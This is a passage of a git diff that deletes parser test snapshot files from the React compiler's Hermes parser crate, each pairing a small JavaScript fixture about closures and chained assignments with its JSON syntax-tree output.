-                            "shorthand": true,
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              41,
-                              42
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          39,
-                          44
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": false,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        36,
-                        44
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    34,
-                    46
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  30,
-                  46
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              47
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    54,
-                    55
-                  ]
-                },
-                "init": {
-                  "type": "FunctionExpression",
-                  "id": null,
-                  "params": [],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "console",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                76,
-                                83
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "log",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                84,
-                                87
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              76,
-                              87
-                            ]
-                          },
-                          "arguments": [
-                            {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "MemberExpression",
-                                "object": {
-                                  "type": "Identifier",
-                                  "name": "z",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    88,
-                                    89
-                                  ]
-                                },
-                                "property": {
-                                  "type": "Identifier",
-                                  "name": "a",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    90,
-                                    91
-                                  ]
-                                },
-                                "computed": false,
-                                "loc": null,
-                                "range": [
-                                  88,
-                                  91
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "a",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  92,
-                                  93
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                88,
-                                93
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            76,
-                            94
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          76,
-                          95
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      70,
-                      99
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    58,
-                    99
-                  ],
-                  "loc": null,
-                  "range": [
-                    58,
-                    99
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  54,
-                  99
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              50,
-              100
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                110,
-                111
-              ]
-            },
-            "loc": null,
-            "range": [
-              103,
-              112
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          114
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        114
-      ],
-      "loc": null,
-      "range": [
-        0,
-        114
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    114
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-reference-changes-type.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-reference-changes-type.js.snap
deleted file mode 100644
index 1d2541ec5c17..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-reference-changes-type.js.snap
+++ /dev/null
@@ -1,325 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/capturing-reference-changes-type.js
----
-Input:
-function component(a) {
-  let x = { a };
-  let y = 1;
-  (function () {
-    y = x;
-  })();
-  mutate(y);
-  return y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    30,
-                    31
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        36,
-                        37
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    34,
-                    39
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  30,
-                  39
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              40
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    47,
-                    48
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 1.0,
-                  "loc": null,
-                  "range": [
-                    51,
-                    52
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  47,
-                  52
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              43,
-              53
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "FunctionExpression",
-                "id": null,
-                "params": [],
-                "body": {
-                  "type": "BlockStatement",
-                  "body": [
-                    {
-                      "type": "ExpressionStatement",
-                      "expression": {
-                        "type": "AssignmentExpression",
-                        "operator": "=",
-                        "left": {
-                          "type": "Identifier",
-                          "name": "y",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            75,
-                            76
-                          ]
-                        },
-                        "right": {
-                          "type": "Identifier",
-                          "name": "x",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            79,
-                            80
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          75,
-                          80
-                        ]
-                      },
-                      "directive": null,
-                      "loc": null,
-                      "range": [
-                        75,
-                        81
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    69,
-                    85
-                  ]
-                },
-                "generator": false,
-                "async": false,
-                "loc": null,
-                "range": [
-                  57,
-                  85
-                ],
-                "loc": null,
-                "range": [
-                  57,
-                  85
-                ]
-              },
-              "arguments": [],
-              "loc": null,
-              "range": [
-                56,
-                88
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              56,
-              89
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "mutate",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  92,
-                  98
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    99,
-                    100
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                92,
-                101
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              92,
-              102
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                112,
-                113
-              ]
-            },
-            "loc": null,
-            "range": [
-              105,
-              114
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          116
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        116
-      ],
-      "loc": null,
-      "range": [
-        0,
-        116
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    116
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-variable-in-nested-block.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-variable-in-nested-block.js.snap
deleted file mode 100644
index c406fe7fd1ef..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-variable-in-nested-block.js.snap
+++ /dev/null
@@ -1,289 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/capturing-variable-in-nested-block.js
----
-Input:
-function component(a) {
-  let z = { a };
-  let x = function () {
-    {
-      console.log(z);
-    }
-  };
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    30,
-                    31
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        36,
-                        37
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    34,
-                    39
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  30,
-                  39
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              40
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    47,
-                    48
-                  ]
-                },
-                "init": {
-                  "type": "FunctionExpression",
-                  "id": null,
-                  "params": [],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "BlockStatement",
-                        "body": [
-                          {
-                            "type": "ExpressionStatement",
-                            "expression": {
-                              "type": "CallExpression",
-                              "callee": {
-                                "type": "MemberExpression",
-                                "object": {
-                                  "type": "Identifier",
-                                  "name": "console",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    77,
-                                    84
-                                  ]
-                                },
-                                "property": {
-                                  "type": "Identifier",
-                                  "name": "log",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    85,
-                                    88
-                                  ]
-                                },
-                                "computed": false,
-                                "loc": null,
-                                "range": [
-                                  77,
-                                  88
-                                ]
-                              },
-                              "arguments": [
-                                {
-                                  "type": "Identifier",
-                                  "name": "z",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    89,
-                                    90
-                                  ]
-                                }
-                              ],
-                              "loc": null,
-                              "range": [
-                                77,
-                                91
-                              ]
-                            },
-                            "directive": null,
-                            "loc": null,
-                            "range": [
-                              77,
-                              92
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          69,
-                          98
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      63,
-                      102
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    51,
-                    102
-                  ],
-                  "loc": null,
-                  "range": [
-                    51,
-                    102
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  47,
-                  102
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              43,
-              103
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                113,
-                114
-              ]
-            },
-            "loc": null,
-            "range": [
-              106,
-              115
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          117
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        117
-      ],
-      "loc": null,
-      "range": [
-        0,
-        117
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    117
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-variable-in-nested-function.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-variable-in-nested-function.js.snap
deleted file mode 100644
index 93c817a244b1..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-variable-in-nested-function.js.snap
+++ /dev/null
@@ -1,324 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/capturing-variable-in-nested-function.js
----
-Input:
-function component(a) {
-  let z = { a };
-  let x = function () {
-    (function () {
-      console.log(z);
-    })();
-  };
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    30,
-                    31
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        36,
-                        37
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    34,
-                    39
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  30,
-                  39
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              40
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    47,
-                    48
-                  ]
-                },
-                "init": {
-                  "type": "FunctionExpression",
-                  "id": null,
-                  "params": [],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "FunctionExpression",
-                            "id": null,
-                            "params": [],
-                            "body": {
-                              "type": "BlockStatement",
-                              "body": [
-                                {
-                                  "type": "ExpressionStatement",
-                                  "expression": {
-                                    "type": "CallExpression",
-                                    "callee": {
-                                      "type": "MemberExpression",
-                                      "object": {
-                                        "type": "Identifier",
-                                        "name": "console",
-                                        "typeAnnotation": null,
-                                        "loc": null,
-                                        "range": [
-                                          90,
-                                          97
-                                        ]
-                                      },
-                                      "property": {
-                                        "type": "Identifier",
-                                        "name": "log",
-                                        "typeAnnotation": null,
-                                        "loc": null,
-                                        "range": [
-                                          98,
-                                          101
-                                        ]
-                                      },
-                                      "computed": false,
-                                      "loc": null,
-                                      "range": [
-                                        90,
-                                        101
-                                      ]
-                                    },
-                                    "arguments": [
-                                      {
-                                        "type": "Identifier",
-                                        "name": "z",
-                                        "typeAnnotation": null,
-                                        "loc": null,
-                                        "range": [
-                                          102,
-                                          103
-                                        ]
-                                      }
-                                    ],
-                                    "loc": null,
-                                    "range": [
-                                      90,
-                                      104
-                                    ]
-                                  },
-                                  "directive": null,
-                                  "loc": null,
-                                  "range": [
-                                    90,
-                                    105
-                                  ]
-                                }
-                              ],
-                              "loc": null,
-                              "range": [
-                                82,
-                                111
-                              ]
-                            },
-                            "generator": false,
-                            "async": false,
-                            "loc": null,
-                            "range": [
-                              70,
-                              111
-                            ],
-                            "loc": null,
-                            "range": [
-                              70,
-                              111
-                            ]
-                          },
-                          "arguments": [],
-                          "loc": null,
-                          "range": [
-                            69,
-                            114
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          69,
-                          115
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      63,
-                      119
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    51,
-                    119
-                  ],
-                  "loc": null,
-                  "range": [
-                    51,
-                    119
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  47,
-                  119
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              43,
-              120
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                130,
-                131
-              ]
-            },
-            "loc": null,
-            "range": [
-              123,
-              132
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          134
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        134
-      ],
-      "loc": null,
-      "range": [
-        0,
-        134
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    134
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@chained-assignment-context-variable.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@chained-assignment-context-variable.js.snap
deleted file mode 100644
index 1371b0647a58..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@chained-assignment-context-variable.js.snap
+++ /dev/null
@@ -1,311 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/chained-assignment-context-variable.js
----
-Input:
-function Component() {
-  let x,
-    y = (x = {});
-  const foo = () => {
-    x = getObject();
-  };
-  foo();
-  return [y, x];
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    29,
-                    30
-                  ]
-                },
-                "init": null,
-                "loc": null,
-                "range": [
-                  29,
-                  30
-                ]
-              },
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "AssignmentExpression",
-                  "operator": "=",
-                  "left": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      41,
-                      42
-                    ]
-                  },
-                  "right": {
-                    "type": "ObjectExpression",
-                    "properties": [],
-                    "loc": null,
-                    "range": [
-                      45,
-                      47
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    41,
-                    47
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  48
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              25,
-              49
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "foo",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    58,
-                    61
-                  ]
-                },
-                "init": {
-                  "type": "ArrowFunctionExpression",
-                  "id": null,
-                  "params": [],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              76,
-                              77
-                            ]
-                          },
-                          "right": {
-                            "type": "CallExpression",
-                            "callee": {
-                              "type": "Identifier",
-                              "name": "getObject",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                80,
-                                89
-                              ]
-                            },
-                            "arguments": [],
-                            "loc": null,
-                            "range": [
-                              80,
-                              91
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            76,
-                            91
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          76,
-                          92
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      70,
-                      96
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    64,
-                    96
-                  ],
-                  "expression": false,
-                  "loc": null,
-                  "range": [
-                    64,
-                    96
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  58,
-                  96
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              52,
-              97
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "foo",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  100,
-                  103
-                ]
-              },
-              "arguments": [],
-              "loc": null,
-              "range": [
-                100,
-                105
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              100,
-              106
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "ArrayExpression",
-              "elements": [
-                {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    117,
-                    118
-                  ]
-                },
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    120,
-                    121
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                116,
-                122
-              ]
-            },
-            "loc": null,
-            "range": [
-              109,
-              123
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          21,
-          125
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        125
-      ],
-      "loc": null,
-      "range": [
-        0,
-        125
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    125
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@chained-assignment-expressions.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@chained-assignment-expressions.js.snap
deleted file mode 100644
index b3125b7a3bd9..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@chained-assignment-expressions.js.snap
+++ /dev/null
@@ -1,518 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/chained-assignment-expressions.js
----
-Input:
-function foo() {
-  const x = { x: 0 };
-  const y = { z: 0 };
-  const z = { z: 0 };
-  x.x += y.y *= 1;
-  z.z += y.y *= x.x &= 3;
-  return z;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    25,
-                    26
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          31,
-                          32
-                        ]
-                      },
-                      "value": {
-                        "type": "NumericLiteral",
-                        "value": 0.0,
-                        "loc": null,
-                        "range": [
-                          34,
-                          35
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": false,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        31,
-                        35
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    29,
-                    37
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  25,
-                  37
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              19,
-              38
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    47,
-                    48
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "z",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          53,
-                          54
-                        ]
-                      },
-                      "value": {
-                        "type": "NumericLiteral",
-                        "value": 0.0,
-                        "loc": null,
-                        "range": [
-                          56,
-                          57
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": false,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        53,
-                        57
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    51,
-                    59
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  47,
-                  59
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              41,
-              60
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    69,
-                    70
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "z",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          75,
-                          76
-                        ]
-                      },
-                      "value": {
-                        "type": "NumericLiteral",
-                        "value": 0.0,
-                        "loc": null,
-                        "range": [
-                          78,
-                          79
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": false,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        75,
-                        79
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    73,
-                    81
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  69,
-                  81
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              63,
-              82
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "+=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    85,
-                    86
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
